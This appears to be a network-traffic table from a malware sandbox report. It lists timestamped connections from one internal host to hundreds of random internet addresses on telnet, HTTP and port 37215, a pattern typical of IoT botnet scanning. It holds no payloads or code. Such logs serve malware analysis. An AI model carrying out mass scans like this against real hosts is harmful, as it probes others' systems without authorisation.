Dec 3, 2024 22:16:49.519438982 CET	37963	23	192.168.2.23	35.201.212.63
Dec 3, 2024 22:16:49.519439936 CET	37963	23	192.168.2.23	162.100.41.80
Dec 3, 2024 22:16:49.519438028 CET	37963	23	192.168.2.23	32.29.68.191
Dec 3, 2024 22:16:49.519439936 CET	37963	23	192.168.2.23	155.125.84.183
Dec 3, 2024 22:16:49.519443035 CET	37963	23	192.168.2.23	52.11.244.232
Dec 3, 2024 22:16:49.519439936 CET	37963	23	192.168.2.23	37.17.85.83
Dec 3, 2024 22:16:49.519439936 CET	37963	23	192.168.2.23	222.16.183.222
Dec 3, 2024 22:16:49.519448042 CET	37963	23	192.168.2.23	59.125.179.85
Dec 3, 2024 22:16:49.519448042 CET	37963	23	192.168.2.23	52.178.249.202
Dec 3, 2024 22:16:49.519448996 CET	37963	23	192.168.2.23	219.239.224.202
Dec 3, 2024 22:16:49.519448042 CET	37963	23	192.168.2.23	203.237.230.146
Dec 3, 2024 22:16:49.519448042 CET	37963	23	192.168.2.23	52.56.217.207
Dec 3, 2024 22:16:49.519448042 CET	37963	23	192.168.2.23	218.44.134.89
Dec 3, 2024 22:16:49.519448042 CET	37963	23	192.168.2.23	178.78.33.226
Dec 3, 2024 22:16:49.519479990 CET	37963	23	192.168.2.23	200.178.7.238
Dec 3, 2024 22:16:49.519480944 CET	37963	23	192.168.2.23	218.142.12.207
Dec 3, 2024 22:16:49.519484043 CET	37963	23	192.168.2.23	78.116.218.106
Dec 3, 2024 22:16:49.519484997 CET	37963	23	192.168.2.23	210.109.173.191
Dec 3, 2024 22:16:49.519484997 CET	37963	23	192.168.2.23	91.58.148.179
Dec 3, 2024 22:16:49.519484997 CET	37963	23	192.168.2.23	163.36.54.60
Dec 3, 2024 22:16:49.519484997 CET	37963	23	192.168.2.23	173.63.167.200
Dec 3, 2024 22:16:49.519484997 CET	37963	23	192.168.2.23	77.237.5.114
Dec 3, 2024 22:16:49.519484997 CET	37963	23	192.168.2.23	14.38.2.218
Dec 3, 2024 22:16:49.519489050 CET	37963	23	192.168.2.23	175.249.152.82
Dec 3, 2024 22:16:49.519489050 CET	37963	23	192.168.2.23	46.162.42.127
Dec 3, 2024 22:16:49.519490004 CET	37963	23	192.168.2.23	171.148.116.131
Dec 3, 2024 22:16:49.519489050 CET	37963	23	192.168.2.23	200.213.59.215
Dec 3, 2024 22:16:49.519489050 CET	37963	23	192.168.2.23	14.70.238.51
Dec 3, 2024 22:16:49.519490004 CET	37963	23	192.168.2.23	61.160.136.10
Dec 3, 2024 22:16:49.519490004 CET	37963	23	192.168.2.23	50.100.181.10
Dec 3, 2024 22:16:49.519496918 CET	37963	23	192.168.2.23	79.197.158.223
Dec 3, 2024 22:16:49.519510984 CET	37963	23	192.168.2.23	27.218.121.38
Dec 3, 2024 22:16:49.519510984 CET	37963	23	192.168.2.23	211.79.94.52
Dec 3, 2024 22:16:49.519510984 CET	37963	23	192.168.2.23	180.42.211.153
Dec 3, 2024 22:16:49.519514084 CET	37963	23	192.168.2.23	25.122.45.11
Dec 3, 2024 22:16:49.519510984 CET	37963	23	192.168.2.23	220.171.148.142
Dec 3, 2024 22:16:49.519514084 CET	37963	23	192.168.2.23	119.162.93.192
Dec 3, 2024 22:16:49.519510984 CET	37963	23	192.168.2.23	203.102.71.20
Dec 3, 2024 22:16:49.519515991 CET	37963	23	192.168.2.23	20.215.163.106
Dec 3, 2024 22:16:49.519511938 CET	37963	23	192.168.2.23	128.76.208.135
Dec 3, 2024 22:16:49.519516945 CET	37963	23	192.168.2.23	125.178.208.229
Dec 3, 2024 22:16:49.519515038 CET	37963	23	192.168.2.23	8.83.40.249
Dec 3, 2024 22:16:49.519515991 CET	37963	23	192.168.2.23	89.127.176.135
Dec 3, 2024 22:16:49.519515038 CET	37963	23	192.168.2.23	60.222.84.87
Dec 3, 2024 22:16:49.519520044 CET	37963	23	192.168.2.23	37.150.42.211
Dec 3, 2024 22:16:49.519520044 CET	37963	23	192.168.2.23	79.22.248.238
Dec 3, 2024 22:16:49.519520044 CET	37963	23	192.168.2.23	77.22.65.47
Dec 3, 2024 22:16:49.519520044 CET	37963	23	192.168.2.23	187.250.230.70
Dec 3, 2024 22:16:49.519598007 CET	56452	37215	192.168.2.23	197.193.108.120
Dec 3, 2024 22:16:49.520323992 CET	60136	80	192.168.2.23	8.163.124.143
Dec 3, 2024 22:16:49.520699978 CET	42194	37215	192.168.2.23	197.26.74.237
Dec 3, 2024 22:16:49.521588087 CET	39452	80	192.168.2.23	150.32.225.133
Dec 3, 2024 22:16:49.521588087 CET	39452	80	192.168.2.23	150.32.225.133
Dec 3, 2024 22:16:49.521773100 CET	38188	37215	192.168.2.23	41.7.124.25
Dec 3, 2024 22:16:49.522577047 CET	39718	80	192.168.2.23	150.32.225.133
Dec 3, 2024 22:16:49.522928953 CET	53450	37215	192.168.2.23	197.166.40.133
Dec 3, 2024 22:16:49.523818016 CET	41426	80	192.168.2.23	202.130.12.212
Dec 3, 2024 22:16:49.523818016 CET	41426	80	192.168.2.23	202.130.12.212
Dec 3, 2024 22:16:49.523905993 CET	42002	80	192.168.2.23	121.206.66.7
Dec 3, 2024 22:16:49.523906946 CET	40490	80	192.168.2.23	41.116.190.246
Dec 3, 2024 22:16:49.523916960 CET	47582	80	192.168.2.23	95.52.35.119
Dec 3, 2024 22:16:49.523917913 CET	39746	80	192.168.2.23	70.110.93.209
Dec 3, 2024 22:16:49.523925066 CET	57498	80	192.168.2.23	152.163.182.239
Dec 3, 2024 22:16:49.523926020 CET	40238	80	192.168.2.23	185.67.81.158
Dec 3, 2024 22:16:49.523933887 CET	59328	80	192.168.2.23	159.116.117.246
Dec 3, 2024 22:16:49.523938894 CET	59178	80	192.168.2.23	64.183.73.170
Dec 3, 2024 22:16:49.523941994 CET	39956	80	192.168.2.23	54.118.208.76
Dec 3, 2024 22:16:49.523943901 CET	59914	80	192.168.2.23	45.12.195.164
Dec 3, 2024 22:16:49.523943901 CET	60010	80	192.168.2.23	191.134.154.213
Dec 3, 2024 22:16:49.523948908 CET	37298	80	192.168.2.23	221.122.86.68
Dec 3, 2024 22:16:49.523957014 CET	45010	80	192.168.2.23	97.109.8.190
Dec 3, 2024 22:16:49.523960114 CET	57166	80	192.168.2.23	48.45.33.1
Dec 3, 2024 22:16:49.523972034 CET	45476	80	192.168.2.23	49.9.159.2
Dec 3, 2024 22:16:49.523976088 CET	49156	80	192.168.2.23	78.225.83.108
Dec 3, 2024 22:16:49.523978949 CET	40154	80	192.168.2.23	41.199.54.166
Dec 3, 2024 22:16:49.523978949 CET	60200	80	192.168.2.23	61.49.59.95
Dec 3, 2024 22:16:49.523983955 CET	49490	80	192.168.2.23	74.26.255.208
Dec 3, 2024 22:16:49.523983955 CET	57490	80	192.168.2.23	160.22.231.162
Dec 3, 2024 22:16:49.523983955 CET	57222	80	192.168.2.23	155.238.126.130
Dec 3, 2024 22:16:49.523993969 CET	60226	80	192.168.2.23	155.242.230.208
Dec 3, 2024 22:16:49.523993969 CET	38492	80	192.168.2.23	49.170.211.252
Dec 3, 2024 22:16:49.523994923 CET	50976	80	192.168.2.23	198.58.44.28
Dec 3, 2024 22:16:49.523993969 CET	60460	80	192.168.2.23	138.83.212.12
Dec 3, 2024 22:16:49.523993969 CET	55120	80	192.168.2.23	167.92.86.165
Dec 3, 2024 22:16:49.523998976 CET	43684	80	192.168.2.23	65.214.181.153
Dec 3, 2024 22:16:49.523998976 CET	41424	80	192.168.2.23	148.48.36.241
Dec 3, 2024 22:16:49.524005890 CET	43748	80	192.168.2.23	119.172.191.200
Dec 3, 2024 22:16:49.524007082 CET	53676	80	192.168.2.23	192.212.43.199
Dec 3, 2024 22:16:49.524009943 CET	38050	80	192.168.2.23	198.156.213.123
Dec 3, 2024 22:16:49.524009943 CET	49984	80	192.168.2.23	136.144.36.108
Dec 3, 2024 22:16:49.524010897 CET	52794	80	192.168.2.23	140.113.193.143
Dec 3, 2024 22:16:49.524009943 CET	33934	80	192.168.2.23	37.243.32.210
Dec 3, 2024 22:16:49.524010897 CET	59814	80	192.168.2.23	70.115.204.233
Dec 3, 2024 22:16:49.524010897 CET	46678	80	192.168.2.23	217.183.41.38
Dec 3, 2024 22:16:49.524019003 CET	34042	80	192.168.2.23	85.169.121.46
Dec 3, 2024 22:16:49.524019003 CET	52074	80	192.168.2.23	152.246.192.251
Dec 3, 2024 22:16:49.524027109 CET	42354	80	192.168.2.23	31.241.177.96
Dec 3, 2024 22:16:49.524028063 CET	54884	80	192.168.2.23	34.151.16.91
Dec 3, 2024 22:16:49.524029970 CET	59246	80	192.168.2.23	5.127.244.194
Dec 3, 2024 22:16:49.524029970 CET	42020	80	192.168.2.23	181.65.9.144
Dec 3, 2024 22:16:49.524029970 CET	53312	80	192.168.2.23	49.32.115.49
Dec 3, 2024 22:16:49.524035931 CET	34720	80	192.168.2.23	160.218.104.120
Dec 3, 2024 22:16:49.524043083 CET	40770	80	192.168.2.23	154.12.53.212
Dec 3, 2024 22:16:49.524043083 CET	55368	80	192.168.2.23	81.160.177.209
Dec 3, 2024 22:16:49.524045944 CET	57146	80	192.168.2.23	200.233.228.26
Dec 3, 2024 22:16:49.524045944 CET	59962	80	192.168.2.23	115.142.226.34
Dec 3, 2024 22:16:49.524049044 CET	56626	80	192.168.2.23	169.222.102.55
Dec 3, 2024 22:16:49.524049044 CET	51740	80	192.168.2.23	212.233.37.111
Dec 3, 2024 22:16:49.524050951 CET	48724	80	192.168.2.23	169.221.82.62
Dec 3, 2024 22:16:49.524050951 CET	50066	23	192.168.2.23	89.215.59.14
Dec 3, 2024 22:16:49.524055004 CET	47596	80	192.168.2.23	142.178.71.247
Dec 3, 2024 22:16:49.524056911 CET	53062	80	192.168.2.23	131.208.168.66
Dec 3, 2024 22:16:49.524056911 CET	41754	80	192.168.2.23	95.62.162.133
Dec 3, 2024 22:16:49.524056911 CET	40866	23	192.168.2.23	140.131.183.153
Dec 3, 2024 22:16:49.524060965 CET	40194	23	192.168.2.23	13.83.40.182
Dec 3, 2024 22:16:49.524066925 CET	35826	23	192.168.2.23	35.106.48.192
Dec 3, 2024 22:16:49.524069071 CET	42810	80	192.168.2.23	18.127.172.217
Dec 3, 2024 22:16:49.524069071 CET	36902	23	192.168.2.23	169.176.216.100
Dec 3, 2024 22:16:49.524069071 CET	48172	23	192.168.2.23	128.120.207.126
Dec 3, 2024 22:16:49.524071932 CET	37980	80	192.168.2.23	167.169.37.108
Dec 3, 2024 22:16:49.524075031 CET	50350	23	192.168.2.23	75.96.234.89
Dec 3, 2024 22:16:49.524075031 CET	52764	23	192.168.2.23	71.65.46.132
Dec 3, 2024 22:16:49.524077892 CET	42538	23	192.168.2.23	183.217.167.251
Dec 3, 2024 22:16:49.524077892 CET	38532	23	192.168.2.23	122.180.215.63
Dec 3, 2024 22:16:49.524080038 CET	41034	23	192.168.2.23	117.198.79.45
Dec 3, 2024 22:16:49.524080038 CET	38664	23	192.168.2.23	51.9.72.191
Dec 3, 2024 22:16:49.524081945 CET	36594	23	192.168.2.23	195.246.215.222
Dec 3, 2024 22:16:49.524081945 CET	34024	23	192.168.2.23	86.21.188.52
Dec 3, 2024 22:16:49.524081945 CET	59316	23	192.168.2.23	24.227.42.29
Dec 3, 2024 22:16:49.524085999 CET	55690	23	192.168.2.23	58.142.163.202
Dec 3, 2024 22:16:49.524108887 CET	33370	37215	192.168.2.23	41.30.218.207
Dec 3, 2024 22:16:49.524900913 CET	41798	80	192.168.2.23	202.130.12.212
Dec 3, 2024 22:16:49.525075912 CET	57304	37215	192.168.2.23	197.132.62.119
Dec 3, 2024 22:16:49.526132107 CET	50074	80	192.168.2.23	178.167.225.20
Dec 3, 2024 22:16:49.526132107 CET	50074	80	192.168.2.23	178.167.225.20
Dec 3, 2024 22:16:49.526220083 CET	39548	37215	192.168.2.23	156.81.76.10
Dec 3, 2024 22:16:49.527029037 CET	50448	80	192.168.2.23	178.167.225.20
Dec 3, 2024 22:16:49.527236938 CET	39518	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:49.528286934 CET	35752	80	192.168.2.23	112.106.103.207
Dec 3, 2024 22:16:49.528286934 CET	35752	80	192.168.2.23	112.106.103.207
Dec 3, 2024 22:16:49.528366089 CET	52870	37215	192.168.2.23	156.126.99.239
Dec 3, 2024 22:16:49.529059887 CET	44360	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:49.529059887 CET	44360	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:49.529273987 CET	36130	80	192.168.2.23	112.106.103.207
Dec 3, 2024 22:16:49.529474974 CET	44982	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:49.530257940 CET	42698	80	192.168.2.23	86.87.136.30
Dec 3, 2024 22:16:49.530257940 CET	42698	80	192.168.2.23	86.87.136.30
Dec 3, 2024 22:16:49.530584097 CET	43076	80	192.168.2.23	86.87.136.30
Dec 3, 2024 22:16:49.531188011 CET	51504	80	192.168.2.23	120.125.222.84
Dec 3, 2024 22:16:49.531188011 CET	51504	80	192.168.2.23	120.125.222.84
Dec 3, 2024 22:16:49.531482935 CET	51882	80	192.168.2.23	120.125.222.84
Dec 3, 2024 22:16:49.531867981 CET	52012	80	192.168.2.23	101.26.29.84
Dec 3, 2024 22:16:49.531867981 CET	52012	80	192.168.2.23	101.26.29.84
Dec 3, 2024 22:16:49.532160044 CET	52376	80	192.168.2.23	101.26.29.84
Dec 3, 2024 22:16:49.532537937 CET	41702	80	192.168.2.23	86.199.183.40
Dec 3, 2024 22:16:49.532537937 CET	41702	80	192.168.2.23	86.199.183.40
Dec 3, 2024 22:16:49.532841921 CET	42066	80	192.168.2.23	86.199.183.40
Dec 3, 2024 22:16:49.533227921 CET	37950	80	192.168.2.23	159.180.151.117
Dec 3, 2024 22:16:49.533227921 CET	37950	80	192.168.2.23	159.180.151.117
Dec 3, 2024 22:16:49.533514023 CET	38314	80	192.168.2.23	159.180.151.117
Dec 3, 2024 22:16:49.533919096 CET	35558	80	192.168.2.23	159.216.106.173
Dec 3, 2024 22:16:49.533919096 CET	35558	80	192.168.2.23	159.216.106.173
Dec 3, 2024 22:16:49.534230947 CET	35922	80	192.168.2.23	159.216.106.173
Dec 3, 2024 22:16:49.534621000 CET	54340	80	192.168.2.23	89.199.198.11
Dec 3, 2024 22:16:49.534621954 CET	54340	80	192.168.2.23	89.199.198.11
Dec 3, 2024 22:16:49.534919024 CET	54702	80	192.168.2.23	89.199.198.11
Dec 3, 2024 22:16:49.535326958 CET	53678	80	192.168.2.23	13.77.179.192
Dec 3, 2024 22:16:49.535326958 CET	53678	80	192.168.2.23	13.77.179.192
Dec 3, 2024 22:16:49.535650015 CET	54040	80	192.168.2.23	13.77.179.192
Dec 3, 2024 22:16:49.536058903 CET	59488	80	192.168.2.23	89.148.112.82
Dec 3, 2024 22:16:49.536058903 CET	59488	80	192.168.2.23	89.148.112.82
Dec 3, 2024 22:16:49.536325932 CET	59846	80	192.168.2.23	89.148.112.82
Dec 3, 2024 22:16:49.536691904 CET	55748	80	192.168.2.23	50.18.129.224
Dec 3, 2024 22:16:49.536691904 CET	55748	80	192.168.2.23	50.18.129.224
Dec 3, 2024 22:16:49.536986113 CET	56106	80	192.168.2.23	50.18.129.224
Dec 3, 2024 22:16:49.537381887 CET	56390	80	192.168.2.23	201.216.93.118
Dec 3, 2024 22:16:49.537381887 CET	56390	80	192.168.2.23	201.216.93.118
Dec 3, 2024 22:16:49.537681103 CET	56748	80	192.168.2.23	201.216.93.118
Dec 3, 2024 22:16:49.538028002 CET	35510	80	192.168.2.23	19.67.64.37
Dec 3, 2024 22:16:49.538028002 CET	35510	80	192.168.2.23	19.67.64.37
Dec 3, 2024 22:16:49.538341045 CET	35864	80	192.168.2.23	19.67.64.37
Dec 3, 2024 22:16:49.538722038 CET	49242	80	192.168.2.23	156.47.9.159
Dec 3, 2024 22:16:49.538722038 CET	49242	80	192.168.2.23	156.47.9.159
Dec 3, 2024 22:16:49.538996935 CET	49596	80	192.168.2.23	156.47.9.159
Dec 3, 2024 22:16:49.539407969 CET	42384	80	192.168.2.23	95.148.172.170
Dec 3, 2024 22:16:49.539407969 CET	42384	80	192.168.2.23	95.148.172.170
Dec 3, 2024 22:16:49.539699078 CET	42738	80	192.168.2.23	95.148.172.170
Dec 3, 2024 22:16:49.540056944 CET	55882	80	192.168.2.23	70.48.67.132
Dec 3, 2024 22:16:49.540056944 CET	55882	80	192.168.2.23	70.48.67.132
Dec 3, 2024 22:16:49.540369034 CET	56234	80	192.168.2.23	70.48.67.132
Dec 3, 2024 22:16:49.540761948 CET	45530	80	192.168.2.23	1.78.144.178
Dec 3, 2024 22:16:49.540761948 CET	45530	80	192.168.2.23	1.78.144.178
Dec 3, 2024 22:16:49.541058064 CET	45882	80	192.168.2.23	1.78.144.178
Dec 3, 2024 22:16:49.541435003 CET	56374	80	192.168.2.23	163.247.225.173
Dec 3, 2024 22:16:49.541435957 CET	56374	80	192.168.2.23	163.247.225.173
Dec 3, 2024 22:16:49.541719913 CET	56726	80	192.168.2.23	163.247.225.173
Dec 3, 2024 22:16:49.542081118 CET	57510	80	192.168.2.23	117.255.80.131
Dec 3, 2024 22:16:49.542081118 CET	57510	80	192.168.2.23	117.255.80.131
Dec 3, 2024 22:16:49.542361975 CET	57862	80	192.168.2.23	117.255.80.131
Dec 3, 2024 22:16:49.542745113 CET	54544	80	192.168.2.23	137.84.118.55
Dec 3, 2024 22:16:49.542745113 CET	54544	80	192.168.2.23	137.84.118.55
Dec 3, 2024 22:16:49.543049097 CET	54894	80	192.168.2.23	137.84.118.55
Dec 3, 2024 22:16:49.543416977 CET	36100	80	192.168.2.23	148.77.50.206
Dec 3, 2024 22:16:49.543416977 CET	36100	80	192.168.2.23	148.77.50.206
Dec 3, 2024 22:16:49.543698072 CET	36450	80	192.168.2.23	148.77.50.206
Dec 3, 2024 22:16:49.544080973 CET	46164	80	192.168.2.23	120.53.85.174
Dec 3, 2024 22:16:49.544080973 CET	46164	80	192.168.2.23	120.53.85.174
Dec 3, 2024 22:16:49.544362068 CET	46514	80	192.168.2.23	120.53.85.174
Dec 3, 2024 22:16:49.544732094 CET	43316	80	192.168.2.23	115.161.242.231
Dec 3, 2024 22:16:49.544732094 CET	43316	80	192.168.2.23	115.161.242.231
Dec 3, 2024 22:16:49.545000076 CET	43666	80	192.168.2.23	115.161.242.231
Dec 3, 2024 22:16:49.545363903 CET	50814	80	192.168.2.23	189.63.67.242
Dec 3, 2024 22:16:49.545363903 CET	50814	80	192.168.2.23	189.63.67.242
Dec 3, 2024 22:16:49.545649052 CET	51164	80	192.168.2.23	189.63.67.242
Dec 3, 2024 22:16:49.546025991 CET	34050	80	192.168.2.23	133.151.36.237
Dec 3, 2024 22:16:49.546025991 CET	34050	80	192.168.2.23	133.151.36.237
Dec 3, 2024 22:16:49.546299934 CET	34400	80	192.168.2.23	133.151.36.237
Dec 3, 2024 22:16:49.546660900 CET	33746	80	192.168.2.23	51.0.21.42
Dec 3, 2024 22:16:49.546660900 CET	33746	80	192.168.2.23	51.0.21.42
Dec 3, 2024 22:16:49.546952009 CET	34096	80	192.168.2.23	51.0.21.42
Dec 3, 2024 22:16:49.547308922 CET	45496	80	192.168.2.23	161.115.163.88
Dec 3, 2024 22:16:49.547308922 CET	45496	80	192.168.2.23	161.115.163.88
Dec 3, 2024 22:16:49.547593117 CET	45846	80	192.168.2.23	161.115.163.88
Dec 3, 2024 22:16:49.547929049 CET	40354	80	192.168.2.23	177.102.58.160
Dec 3, 2024 22:16:49.547929049 CET	40354	80	192.168.2.23	177.102.58.160
Dec 3, 2024 22:16:49.548069000 CET	80	55606	138.128.101.135	192.168.2.23
Dec 3, 2024 22:16:49.548078060 CET	80	37124	52.147.152.231	192.168.2.23
Dec 3, 2024 22:16:49.548085928 CET	23	34042	200.179.142.186	192.168.2.23
Dec 3, 2024 22:16:49.548120975 CET	37124	80	192.168.2.23	52.147.152.231
Dec 3, 2024 22:16:49.548120975 CET	55606	80	192.168.2.23	138.128.101.135
Dec 3, 2024 22:16:49.548120975 CET	34042	23	192.168.2.23	200.179.142.186
Dec 3, 2024 22:16:49.548146963 CET	23	47988	213.100.154.141	192.168.2.23
Dec 3, 2024 22:16:49.548211098 CET	47988	23	192.168.2.23	213.100.154.141
Dec 3, 2024 22:16:49.548228979 CET	40704	80	192.168.2.23	177.102.58.160
Dec 3, 2024 22:16:49.548597097 CET	36696	80	192.168.2.23	83.228.148.68
Dec 3, 2024 22:16:49.548597097 CET	36696	80	192.168.2.23	83.228.148.68
Dec 3, 2024 22:16:49.548883915 CET	37046	80	192.168.2.23	83.228.148.68
Dec 3, 2024 22:16:49.549242973 CET	37802	80	192.168.2.23	205.37.220.224
Dec 3, 2024 22:16:49.549242973 CET	37802	80	192.168.2.23	205.37.220.224
Dec 3, 2024 22:16:49.549520016 CET	38150	80	192.168.2.23	205.37.220.224
Dec 3, 2024 22:16:49.549973011 CET	37786	80	192.168.2.23	66.28.161.170
Dec 3, 2024 22:16:49.549973011 CET	37786	80	192.168.2.23	66.28.161.170
Dec 3, 2024 22:16:49.550262928 CET	38242	80	192.168.2.23	66.28.161.170
Dec 3, 2024 22:16:49.550627947 CET	52248	80	192.168.2.23	182.205.184.220
Dec 3, 2024 22:16:49.550627947 CET	52248	80	192.168.2.23	182.205.184.220
Dec 3, 2024 22:16:49.550921917 CET	52704	80	192.168.2.23	182.205.184.220
Dec 3, 2024 22:16:49.551295042 CET	44064	80	192.168.2.23	2.116.62.181
Dec 3, 2024 22:16:49.551295042 CET	44064	80	192.168.2.23	2.116.62.181
Dec 3, 2024 22:16:49.551575899 CET	44520	80	192.168.2.23	2.116.62.181
Dec 3, 2024 22:16:49.551968098 CET	41218	80	192.168.2.23	72.185.180.188
Dec 3, 2024 22:16:49.551968098 CET	41218	80	192.168.2.23	72.185.180.188
Dec 3, 2024 22:16:49.552225113 CET	41662	80	192.168.2.23	72.185.180.188
Dec 3, 2024 22:16:49.552584887 CET	40602	80	192.168.2.23	18.120.91.237
Dec 3, 2024 22:16:49.552584887 CET	40602	80	192.168.2.23	18.120.91.237
Dec 3, 2024 22:16:49.552846909 CET	41042	80	192.168.2.23	18.120.91.237
Dec 3, 2024 22:16:49.553212881 CET	48866	80	192.168.2.23	49.132.127.254
Dec 3, 2024 22:16:49.553212881 CET	48866	80	192.168.2.23	49.132.127.254
Dec 3, 2024 22:16:49.553484917 CET	49306	80	192.168.2.23	49.132.127.254
Dec 3, 2024 22:16:49.553828001 CET	60926	80	192.168.2.23	32.60.240.155
Dec 3, 2024 22:16:49.553828001 CET	60926	80	192.168.2.23	32.60.240.155
Dec 3, 2024 22:16:49.554105043 CET	33132	80	192.168.2.23	32.60.240.155
Dec 3, 2024 22:16:49.554455996 CET	33070	80	192.168.2.23	116.198.57.17
Dec 3, 2024 22:16:49.554455996 CET	33070	80	192.168.2.23	116.198.57.17
Dec 3, 2024 22:16:49.554718971 CET	33508	80	192.168.2.23	116.198.57.17
Dec 3, 2024 22:16:49.555085897 CET	39680	80	192.168.2.23	149.70.197.245
Dec 3, 2024 22:16:49.555085897 CET	39680	80	192.168.2.23	149.70.197.245
Dec 3, 2024 22:16:49.555345058 CET	40118	80	192.168.2.23	149.70.197.245
Dec 3, 2024 22:16:49.555691004 CET	44588	80	192.168.2.23	186.244.224.1
Dec 3, 2024 22:16:49.555691004 CET	44588	80	192.168.2.23	186.244.224.1
Dec 3, 2024 22:16:49.555902004 CET	55038	80	192.168.2.23	69.105.106.1
Dec 3, 2024 22:16:49.555901051 CET	44194	80	192.168.2.23	93.134.211.187
Dec 3, 2024 22:16:49.555907011 CET	34818	80	192.168.2.23	44.97.239.58
Dec 3, 2024 22:16:49.555908918 CET	50390	80	192.168.2.23	141.23.106.58
Dec 3, 2024 22:16:49.555912018 CET	57862	80	192.168.2.23	206.149.237.196
Dec 3, 2024 22:16:49.555915117 CET	35212	80	192.168.2.23	39.90.156.179
Dec 3, 2024 22:16:49.555917978 CET	37014	80	192.168.2.23	176.179.123.31
Dec 3, 2024 22:16:49.555919886 CET	33260	80	192.168.2.23	145.88.33.231
Dec 3, 2024 22:16:49.555927992 CET	51996	80	192.168.2.23	75.103.26.120
Dec 3, 2024 22:16:49.555928946 CET	39346	80	192.168.2.23	206.126.155.60
Dec 3, 2024 22:16:49.555933952 CET	33838	80	192.168.2.23	9.55.80.214
Dec 3, 2024 22:16:49.555933952 CET	39612	80	192.168.2.23	116.155.109.84
Dec 3, 2024 22:16:49.555936098 CET	58380	80	192.168.2.23	208.29.93.130
Dec 3, 2024 22:16:49.555936098 CET	39056	80	192.168.2.23	205.239.190.25
Dec 3, 2024 22:16:49.555936098 CET	44198	80	192.168.2.23	98.2.111.48
Dec 3, 2024 22:16:49.555942059 CET	35670	80	192.168.2.23	5.79.198.83
Dec 3, 2024 22:16:49.555984020 CET	45016	80	192.168.2.23	186.244.224.1
Dec 3, 2024 22:16:49.556354046 CET	52836	80	192.168.2.23	83.119.82.146
Dec 3, 2024 22:16:49.556354046 CET	52836	80	192.168.2.23	83.119.82.146
Dec 3, 2024 22:16:49.556653976 CET	53250	80	192.168.2.23	83.119.82.146
Dec 3, 2024 22:16:49.557034016 CET	48268	80	192.168.2.23	70.167.174.224
Dec 3, 2024 22:16:49.557034016 CET	48268	80	192.168.2.23	70.167.174.224
Dec 3, 2024 22:16:49.557337999 CET	48682	80	192.168.2.23	70.167.174.224
Dec 3, 2024 22:16:49.557694912 CET	37904	80	192.168.2.23	208.170.5.222
Dec 3, 2024 22:16:49.557694912 CET	37904	80	192.168.2.23	208.170.5.222
Dec 3, 2024 22:16:49.557965040 CET	38280	80	192.168.2.23	208.170.5.222
Dec 3, 2024 22:16:49.558460951 CET	37124	80	192.168.2.23	52.147.152.231
Dec 3, 2024 22:16:49.558460951 CET	37124	80	192.168.2.23	52.147.152.231
Dec 3, 2024 22:16:49.558743954 CET	37488	80	192.168.2.23	52.147.152.231
Dec 3, 2024 22:16:49.559104919 CET	55606	80	192.168.2.23	138.128.101.135
Dec 3, 2024 22:16:49.559104919 CET	55606	80	192.168.2.23	138.128.101.135
Dec 3, 2024 22:16:49.559377909 CET	55968	80	192.168.2.23	138.128.101.135
Dec 3, 2024 22:16:49.605214119 CET	80	37707	111.131.4.87	192.168.2.23
Dec 3, 2024 22:16:49.605278015 CET	80	37707	146.239.100.84	192.168.2.23
Dec 3, 2024 22:16:49.605288029 CET	80	37707	155.207.215.11	192.168.2.23
Dec 3, 2024 22:16:49.605297089 CET	80	37707	73.123.193.39	192.168.2.23
Dec 3, 2024 22:16:49.605386019 CET	37707	80	192.168.2.23	146.239.100.84
Dec 3, 2024 22:16:49.605391026 CET	37707	80	192.168.2.23	73.123.193.39
Dec 3, 2024 22:16:49.605391026 CET	37707	80	192.168.2.23	111.131.4.87
Dec 3, 2024 22:16:49.605397940 CET	37707	80	192.168.2.23	155.207.215.11
Dec 3, 2024 22:16:49.605464935 CET	80	37707	186.44.230.51	192.168.2.23
Dec 3, 2024 22:16:49.605510950 CET	37707	80	192.168.2.23	186.44.230.51
Dec 3, 2024 22:16:49.605671883 CET	80	35534	44.223.88.222	192.168.2.23
Dec 3, 2024 22:16:49.606354952 CET	80	53878	219.159.129.91	192.168.2.23
Dec 3, 2024 22:16:49.606875896 CET	80	42740	126.110.141.44	192.168.2.23
Dec 3, 2024 22:16:49.607563972 CET	80	51992	44.100.34.190	192.168.2.23
Dec 3, 2024 22:16:49.607773066 CET	80	52360	44.100.34.190	192.168.2.23
Dec 3, 2024 22:16:49.607831955 CET	52360	80	192.168.2.23	44.100.34.190
Dec 3, 2024 22:16:49.607908010 CET	52360	80	192.168.2.23	44.100.34.190
Dec 3, 2024 22:16:49.608215094 CET	80	50606	106.119.111.49	192.168.2.23
Dec 3, 2024 22:16:49.608318090 CET	59800	80	192.168.2.23	111.131.4.87
Dec 3, 2024 22:16:49.608971119 CET	58206	80	192.168.2.23	146.239.100.84
Dec 3, 2024 22:16:49.609050989 CET	80	46196	59.87.238.43	192.168.2.23
Dec 3, 2024 22:16:49.609560966 CET	80	36024	161.83.220.85	192.168.2.23
Dec 3, 2024 22:16:49.609642982 CET	49922	80	192.168.2.23	73.123.193.39
Dec 3, 2024 22:16:49.610167980 CET	80	51966	115.64.13.91	192.168.2.23
Dec 3, 2024 22:16:49.610327005 CET	45042	80	192.168.2.23	155.207.215.11
Dec 3, 2024 22:16:49.610999107 CET	57504	80	192.168.2.23	186.44.230.51
Dec 3, 2024 22:16:49.619899035 CET	59120	80	192.168.2.23	213.10.8.153
Dec 3, 2024 22:16:49.637550116 CET	80	50274	122.157.177.130	192.168.2.23
Dec 3, 2024 22:16:49.637737036 CET	80	50530	122.157.177.130	192.168.2.23
Dec 3, 2024 22:16:49.637885094 CET	50530	80	192.168.2.23	122.157.177.130
Dec 3, 2024 22:16:49.637885094 CET	50530	80	192.168.2.23	122.157.177.130
Dec 3, 2024 22:16:49.639209986 CET	80	42718	200.134.217.200	192.168.2.23
Dec 3, 2024 22:16:49.639384031 CET	37215	37451	197.214.61.64	192.168.2.23
Dec 3, 2024 22:16:49.639431953 CET	37451	37215	192.168.2.23	197.214.61.64
Dec 3, 2024 22:16:49.640423059 CET	80	59838	8.163.124.143	192.168.2.23
Dec 3, 2024 22:16:49.640430927 CET	23	37963	171.61.161.96	192.168.2.23
Dec 3, 2024 22:16:49.640470028 CET	37963	23	192.168.2.23	171.61.161.96
Dec 3, 2024 22:16:49.642349958 CET	80	39452	150.32.225.133	192.168.2.23
Dec 3, 2024 22:16:49.645158052 CET	80	41426	202.130.12.212	192.168.2.23
